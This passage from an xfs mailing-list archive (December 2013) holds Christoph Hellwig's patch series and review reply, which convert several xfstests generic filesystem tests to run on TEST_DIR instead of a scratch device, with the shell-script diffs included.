ESMTP id mYevxRB6T2fGoeFt (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 10 Dec 2013 22:55:27 -0800 (PST) X-Barracuda-Envelope-From: BATV+73d073057c8fc0323e65+3762+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1Vqdhd-0003vX-R1; Wed, 11 Dec 2013 06:55:25 +0000 Date: Tue, 10 Dec 2013 22:55:25 -0800 From: Christoph Hellwig To: Stanislav Kholmanskikh Cc: xfs@oss.sgi.com, vasily.isaenko@oracle.com Subject: Re: [PATCH] generic: require filesize to be greater than fs block size in generic/240 Message-ID: <20131211065525.GA11124@infradead.org> X-ASG-Orig-Subj: Re: [PATCH] generic: require filesize to be greater than fs block size in generic/240 References: <1386321845-9221-1-git-send-email-stanislav.kholmanskikh@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1386321845-9221-1-git-send-email-stanislav.kholmanskikh@oracle.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1386744927 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143007 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words > -# 2 threads, fs block sized writes, 64k filesize, stride through file by > +if [ $file_size -lt $fs_block_size ]; then > + file_size=$fs_block_size > +fi We'd need the file size to be a multiple of the block size to make this useful, I'd take 4 or 8 times as a useful default. From BATV+73d073057c8fc0323e65+3762+infradead.org+hch@bombadil.srs.infradead.org Wed Dec 11 01:36:27 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id AB8CB7FE2 for ; Wed, 11 Dec 2013 01:36:27 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 84E9F8F804B for ; Tue, 10 Dec 2013 23:36:27 -0800 (PST) X-ASG-Debug-ID: 1386747386-04bdf013211a51c0001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id BBQ95RxJ2eqZb8fo (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 10 Dec 2013 23:36:26 -0800 (PST) X-Barracuda-Envelope-From: BATV+73d073057c8fc0323e65+3762+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VqeLK-0004pH-8k; Wed, 11 Dec 2013 07:36:26 +0000 Message-Id: <20131211073445.353655850@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Tue, 10 Dec 2013 23:34:45 -0800 From: Christoph Hellwig To: xfs@oss.sgi.com Cc: Stanislav Kholmanskikh Subject: [PATCH 00/12] run more generic tests on TEST_DIR X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-ASG-Orig-Subj: [PATCH 00/12] run more generic tests on TEST_DIR X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1386747386 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.60 X-Barracuda-Spam-Status: No, SCORE=2.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MV0249, MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143007 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 2.00 BSF_SC0_MV0249 Custom rule MV0249 As Stanislav pointed out previously various tests worked fine on NFS when it still defined a scratch dir that we abused for the test dir. This series makes various tests that don't require specific file system sizes or parameters run on TEST_DIR instead of using the scratch devices. This also allow to remove various bits of boilerplat code as the TEST_DIR is always available, and checked after each test. From BATV+73d073057c8fc0323e65+3762+infradead.org+hch@bombadil.srs.infradead.org Wed Dec 11 01:36:28 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 20FF17FE6 for ; Wed, 11 Dec 2013 01:36:28 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 0ECCE8F804B for ; Tue, 10 Dec 2013 23:36:27 -0800 (PST) X-ASG-Debug-ID: 1386747386-04cbb041676a0280001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id PYSoQfJ8sTrd7EYo (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 10 Dec 2013 23:36:27 -0800 (PST) X-Barracuda-Envelope-From: BATV+73d073057c8fc0323e65+3762+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VqeLK-0004rg-Ox; Wed, 11 Dec 2013 07:36:26 +0000 Message-Id: <20131211073626.669934747@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Tue, 10 Dec 2013 23:34:49 -0800 From: Christoph Hellwig To: xfs@oss.sgi.com Cc: Stanislav Kholmanskikh Subject: [PATCH 04/12] 100: use TEST_DIR instead of a SCRATCH_DEV References: <20131211073445.353655850@bombadil.infradead.org> X-ASG-Orig-Subj: [PATCH 04/12] 100: use TEST_DIR instead of a SCRATCH_DEV Content-Disposition: inline; filename=0004-100-use-TEST_DIR-instead-of-a-SCRATCH_DEV.patch X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1386747387 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143007 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- The test does not require a fresh file system. In addition make sure we always prepare the tarball outside the tested file system to get a better chance to catch differences between the tested filesystem and otherṡ. We currently skip that if running on xfs. Signed-off-by: Christoph Hellwig --- tests/generic/100 | 7 ------- 1 file changed, 7 deletions(-) diff --git a/tests/generic/100 b/tests/generic/100 index 05d766f..2e73c1a 100755 --- a/tests/generic/100 +++ b/tests/generic/100 @@ -47,7 +47,6 @@ _supported_os IRIX Linux # Use _populate_fs() in common/rc to create a directory structure. TEMP_DIR=/tmp -[ "$FSTYP" == "xfs" ] && TEMP_DIR=$TEST_DIR TAR_FILE=temp.tar NDIRS=3 NFILES=6 @@ -67,9 +66,6 @@ _populate_fs -n $NDIRS -f $NFILES -d $DEPTH -r $POPULATED_DIR -s $SIZE >>$seqres # Then tar up the directory structure tar -cvf $TEMP_DIR/$TAR_FILE $POPULATED_DIR >>$seqres.full 2>&1 -# create f/s -_require_scratch - # untar on f/s cd $TEST_DIR tar -xRvf $TEMP_DIR/$TAR_FILE >>$seqres.full 2>&1 @@ -79,8 +75,5 @@ cd $here ls -R -l ${TEST_DIR}${POPULATED_DIR} >>$seqres.full 2>&1 diff -qr $POPULATED_DIR ${TEST_DIR}${POPULATED_DIR} -cd / -_check_scratch_fs - status=0 exit -- 1.7.10.4 From BATV+73d073057c8fc0323e65+3762+infradead.org+hch@bombadil.srs.infradead.org Wed Dec 11 01:36:28 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 5C2587FE2 for ; Wed, 11 Dec 2013 01:36:28 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 499BE304066 for ; Tue, 10 Dec 2013 23:36:28 -0800 (PST) X-ASG-Debug-ID: 1386747387-04cbb041696a0280001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id sniEDVAfxUjLzZUF (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 10 Dec 2013 23:36:27 -0800 (PST) X-Barracuda-Envelope-From: BATV+73d073057c8fc0323e65+3762+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VqeLL-0004sr-1I; Wed, 11 Dec 2013 07:36:27 +0000 Message-Id: <20131211073626.963044931@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Tue, 10 Dec 2013 23:34:51 -0800 From: Christoph Hellwig To: xfs@oss.sgi.com Cc: Stanislav Kholmanskikh Subject: [PATCH 06/12] 117: use TEST_DIR instead of a SCRATCH_DEV References: <20131211073445.353655850@bombadil.infradead.org> X-ASG-Orig-Subj: [PATCH 06/12] 117: use TEST_DIR instead of a SCRATCH_DEV Content-Disposition: inline; filename=0006-117-use-TEST_DIR-instead-of-a-SCRATCH_DEV.patch X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1386747387 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143007 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- The test does not require a fresh file system. Signed-off-by: Christoph Hellwig --- tests/generic/117 | 24 +++++------------------- tests/generic/117.out | 2 -- 2 files changed, 5 insertions(+), 21 deletions(-) diff --git a/tests/generic/117 b/tests/generic/117 index f81265b..504dd88 100755 --- a/tests/generic/117 +++ b/tests/generic/117 @@ -78,38 +78,24 @@ _cleanup() _supported_fs generic _supported_os IRIX Linux -_require_scratch _require_attrs rm -f $seqres.full -umount $SCRATCH_DEV >/dev/null 2>&1 -echo "*** MKFS ***" >>$seqres.full -echo "" >>$seqres.full -_scratch_mkfs >>$seqres.full 2>&1 \ - || _fail "mkfs failed" -_scratch_mount >>$seqres.full 2>&1 \ - || _fail "mount failed" -mkdir -p $SCRATCH_MNT/fsstress +testdir=$TEST_DIR/fsstress.$seq +rm -rf $testdir +mkdir -p $testdir echo echo Running fsstress in serial: i=0 while [ $i -lt $ITERATIONS ]; do echo fsstress iteration: $i | tee -a $seqres.full - $FSSTRESS_PROG \ - -d $SCRATCH_MNT/fsstress \ + $FSSTRESS_PROG -d $testdir \ $fss_ops -S c >>$seqres.full 2>&1 let i=$i+1 done -cd / -umount $SCRATCH_MNT -echo -echo Checking filesystem -_check_scratch_fs -_scratch_mount - -status=$? +status=0 exit diff --git a/tests/generic/117.out b/tests/generic/117.out index 1306ebc..e295515 100644 --- a/tests/generic/117.out +++ b/tests/generic/117.out @@ -11,5 +11,3 @@ fsstress iteration: 6 fsstress iteration: 7 fsstress iteration: 8 fsstress iteration: 9 - -Checking filesystem -- 1.7.10.4 From BATV+73d073057c8fc0323e65+3762+infradead.org+hch@bombadil.srs.infradead.org Wed Dec 11 01:36:29 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 138607FE6 for ; Wed, 11 Dec 2013 01:36:29 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 01BDC8F804C for ; Tue, 10 Dec 2013 23:36:28 -0800 (PST) X-ASG-Debug-ID: 1386747387-04cb6c537d697420001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id iYVsGt4be1KW1VC4 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 10 Dec 2013 23:36:28 -0800 (PST) X-Barracuda-Envelope-From: BATV+73d073057c8fc0323e65+3762+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VqeLL-0004vC-Mj; Wed, 11 Dec 2013 07:36:27 +0000 Message-Id: <20131211073627.592156701@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Tue, 10 Dec 2013 23:34:55 -0800 From: Christoph Hellwig To: xfs@oss.sgi.com Cc: Stanislav Kholmanskikh Subject: [PATCH 10/12] 141: use TEST_DIR instead of a SCRATCH_DEV References: <20131211073445.353655850@bombadil.infradead.org> X-ASG-Orig-Subj: [PATCH 10/12] 141: use TEST_DIR instead of a SCRATCH_DEV Content-Disposition: inline; filename=0010-141-use-TEST_DIR-instead-of-a-SCRATCH_DEV.patch X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1386747388 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_MJ1963, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143007 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 The test does not require a fresh file system. Signed-off-by: Christoph Hellwig --- tests/generic/141 | 9 ++------- 1 file changed, 2 insertions(+), 7 deletions(-) diff --git a/tests/generic/141 b/tests/generic/141 index fa08484..3509c4a 100755 --- a/tests/generic/141 +++ b/tests/generic/141 @@ -39,16 +39,11 @@ trap "exit \$status" 0 1 2 3 15 _supported_fs generic _supported_os Linux -_require_scratch -_scratch_mkfs >/dev/null 2>&1 -_scratch_mount - # create file, mmap a region and mmap read it -file=$SCRATCH_MNT/mmap - -$XFS_IO_PROG -f -c "pwrite 0 1024k" -c "mmap 64k 64k" -c "mread -r" $file > /dev/null +file=$TEST_DIR/mmap.$seq rm -f $file +$XFS_IO_PROG -f -c "pwrite 0 1024k" -c "mmap 64k 64k" -c "mread -r" $file > /dev/null status=0 exit -- 1.7.10.4 From BATV+73d073057c8fc0323e65+3762+infradead.org+hch@bombadil.srs.infradead.org Wed Dec 11 01:36:29 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 8957D7FEC for ; Wed, 11 Dec 2013 01:36:29 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 64EA08F804C for ; Tue, 10 Dec 2013 23:36:29 -0800 (PST) X-ASG-Debug-ID: 1386747388-04cb6c537c697420001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id Il4HRUr9JzlYI62x (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 10 Dec 2013 23:36:28 -0800 (PST) X-Barracuda-Envelope-From: BATV+73d073057c8fc0323e65+3762+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VqeLL-0004vn-Rx; Wed, 11 Dec 2013 07:36:27 +0000 Message-Id: <20131211073627.744337105@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Tue, 10 Dec 2013 23:34:56 -0800 From: Christoph Hellwig To: xfs@oss.sgi.com Cc: Stanislav Kholmanskikh Subject: [PATCH 11/12] 225: use TEST_DIR instead of a SCRATCH_DEV References: <20131211073445.353655850@bombadil.infradead.org> X-ASG-Orig-Subj: [PATCH 11/12] 225: use TEST_DIR instead of a SCRATCH_DEV Content-Disposition: inline; filename=0011-225-use-TEST_DIR-instead-of-a-SCRATCH_DEV.patch X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1386747388 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_MJ1963, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143007 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 The test does not require a fresh file system. Signed-off-by: Christoph Hellwig --- tests/generic/225 | 8 ++------ 1 file changed, 2 insertions(+), 6 deletions(-) diff --git a/tests/generic/225 b/tests/generic/225 index 73b125a..c77c37f 100755 --- a/tests/generic/225 +++ b/tests/generic/225 @@ -43,14 +43,10 @@ _cleanup() # real QA test starts here _supported_fs generic _supported_os Linux -_require_scratch - -_scratch_mkfs > /dev/null 2>&1 -_scratch_mount > /dev/null 2>&1 rm -f $seqres.full -fiemapfile=$SCRATCH_MNT/$seq.fiemap -fiemaplog=$SCRATCH_MNT/$seq.log +fiemapfile=$TEST_DIR/$seq.fiemap +fiemaplog=$TEST_DIR/$seq.log [ -x $here/src/fiemap-tester ] || _notrun "fiemap-tester not built" -- 1.7.10.4 From BATV+73d073057c8fc0323e65+3762+infradead.org+hch@bombadil.srs.infradead.org Wed Dec 11 01:36:30 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 96A667FEE for ; Wed, 11 Dec 2013 01:36:29 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 6D9538F8050 for ; Tue, 10 Dec 2013 23:36:29 -0800 (PST) X-ASG-Debug-ID: 1386747388-04cbb041686a0290001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id AROOF8rGsahhrDGh (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 10 Dec 2013 23:36:28 -0800 (PST) X-Barracuda-Envelope-From: BATV+73d073057c8fc0323e65+3762+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VqeLM-0004wN-2B; Wed, 11 Dec 2013 07:36:28 +0000 Message-Id: <20131211073627.948866470@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Tue, 10 Dec 2013 23:34:57 -0800 From: Christoph Hellwig To: xfs@oss.sgi.com Cc: Stanislav Kholmanskikh Subject: [PATCH 12/12] 319: use TEST_DIR instead of a SCRATCH_DEV References: <20131211073445.353655850@bombadil.infradead.org> X-ASG-Orig-Subj: [PATCH 12/12] 319: use TEST_DIR instead of a SCRATCH_DEV Content-Disposition: inline; filename=0012-319-use-TEST_DIR-instead-of-a-SCRATCH_DEV.patch X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1386747388 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143007 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- The test does not require a fresh file system. Signed-off-by: Christoph Hellwig --- tests/generic/319 | 12 +++++------- tests/generic/319.out | 4 ++-- 2 files changed, 7 insertions(+), 9 deletions(-) diff --git a/tests/generic/319 b/tests/generic/319 index 046969f..c382bae 100755 --- a/tests/generic/319 +++ b/tests/generic/319 @@ -51,20 +51,18 @@ trap "_cleanup ; exit \$status" 0 1 2 3 15 _supported_os Linux _supported_fs generic _require_acls -_require_scratch _need_to_be_root rm -f $seqres.full -_scratch_mkfs > /dev/null 2>&1 -_scratch_mount +testdir="$TEST_DIR/testdir319" -mkdir $SCRATCH_MNT/testdir -setfacl -d --set u::rwx,g::rwx,o::- $SCRATCH_MNT/testdir -getfacl --absolute-names $SCRATCH_MNT/testdir | _filter_scratch +mkdir $testdir +setfacl -d --set u::rwx,g::rwx,o::- $testdir +getfacl --absolute-names $testdir | _filter_test_dir mkdir $SCRATCH_MNT/testdir/testsubdir -getfacl --absolute-names $SCRATCH_MNT/testdir/testsubdir | _filter_scratch +getfacl --absolute-names $testdir/testsubdir | _filter_test_dir # success, all done status=0 diff --git a/tests/generic/319.out b/tests/generic/319.out index b090bfa..7897647 100644 --- a/tests/generic/319.out +++ b/tests/generic/319.out @@ -1,5 +1,5 @@ QA output created by 319 -# file: SCRATCH_MNT/testdir +# file: TEST_DIR/testdir319 # owner: root # group: root user::rwx @@ -9,7 +9,7 @@ default:user::rwx default:group::rwx default:other::--- -# file: SCRATCH_MNT/testdir/testsubdir +# file: TEST_DIR/testdir319/testsubdir # owner: root # group: root user::rwx -- 1.7.10.4 From BATV+73d073057c8fc0323e65+3762+infradead.org+hch@bombadil.srs.infradead.org Wed Dec 11 01:36:30 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id BA7A87FF3 for ; Wed, 11 Dec 2013 01:36:29 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 31FB3AC003 for ; Tue, 10 Dec 2013 23:36:29 -0800 (PST) X-ASG-Debug-ID: 1386747387-04cb6c537e697420001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id bsbkqJMpwqNzbfNU (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 10 Dec 2013 23:36:28 -0800 (PST) X-Barracuda-Envelope-From: BATV+73d073057c8fc0323e65+3762+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VqeLL-0004uc-HJ; Wed, 11 Dec 2013 07:36:27 +0000 Message-Id: <20131211073627.430108854@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Tue, 10 Dec 2013 23:34:54 -0800 From: Christoph Hellwig To: xfs@oss.sgi.com Cc: Stanislav Kholmanskikh Subject: [PATCH 09/12] 132: use TEST_DIR instead of a SCRATCH_DEV References: <20131211073445.353655850@bombadil.infradead.org> X-ASG-Orig-Subj: [PATCH 09/12] 132: use TEST_DIR instead of a SCRATCH_DEV Content-Disposition: inline; filename=0009-132-use-TEST_DIR-instead-of-a-SCRATCH_DEV.patch X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1386747387 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_MJ1963, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143007 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 The test does not require a fresh file system. Signed-off-by: Christoph Hellwig --- tests/generic/132 | 33 ++++++++++++++++----------------- 1 file changed, 16 insertions(+), 17 deletions(-) diff --git a/tests/generic/132 b/tests/generic/132 index aa52c7d..3053e67 100755 --- a/tests/generic/132 +++ b/tests/generic/132 @@ -40,10 +40,9 @@ trap "exit \$status" 0 1 2 3 15 _supported_fs generic _supported_os Linux IRIX -_require_scratch - -_scratch_mkfs >/dev/null 2>&1 -_scratch_mount +testdir="$TEST_DIR/dir.$seq" +rm -rf $testdir +mkdir $testdir $XFS_IO_PROG -f -t -c "pwrite -S 0x63 0 512" \ -c "pwrite -S 0x64 512 512" \ @@ -61,7 +60,7 @@ $XFS_IO_PROG -f -t -c "pwrite -S 0x63 0 512" \ -c "pread -v 2560 512" \ -c "pread -v 3072 512" \ -c "pread -v 3584 512" \ - $SCRATCH_MNT/aligned_vector_rw | _filter_xfs_io_unique + $testdir/aligned_vector_rw | _filter_xfs_io_unique $XFS_IO_PROG -f -c "pwrite -S 0x63 4096 1024" \ -c "pwrite -S 0x6B 5120 1024" \ @@ -75,7 +74,7 @@ $XFS_IO_PROG -f -c "pwrite -S 0x63 4096 1024" \ -c "pread -v 5120 1024" \ -c "pread -v 6144 1024" \ -c "pread -v 7168 1024" \ - $SCRATCH_MNT/aligned_vector_rw | _filter_xfs_io_unique + $testdir/aligned_vector_rw | _filter_xfs_io_unique $XFS_IO_PROG -f -c "pwrite -S 0x6E 8192 2048" \ -c "pwrite -S 0x6F 10240 2048" \ @@ -85,14 +84,14 @@ $XFS_IO_PROG -f -c "pwrite -S 0x6E 8192 2048" \ -c "pread -v 6144 2048" \ -c "pread -v 8192 2048" \ 